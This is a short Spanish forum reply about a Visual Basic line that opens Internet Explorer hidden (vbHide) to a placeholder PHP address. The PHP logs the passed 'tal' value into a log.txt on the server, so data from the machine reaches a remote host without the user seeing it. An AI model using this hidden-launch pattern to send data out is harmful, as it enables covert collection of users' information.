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Shell "C:\ruta\iexplore.exe http://tuweb.es/tal.php?tal=tal", vbHide
La última pregunta no la entiendo, EN PRINCIPIO porque va a ser detectable abrir una web con internetexplorer? y que mas dá si es un php o un html? y para que enviar los datos a ningún sitio?
Dónde tengas hospedado el php haces que cree un archivo log.txt con el contenido de la variable tal= y yastá. :S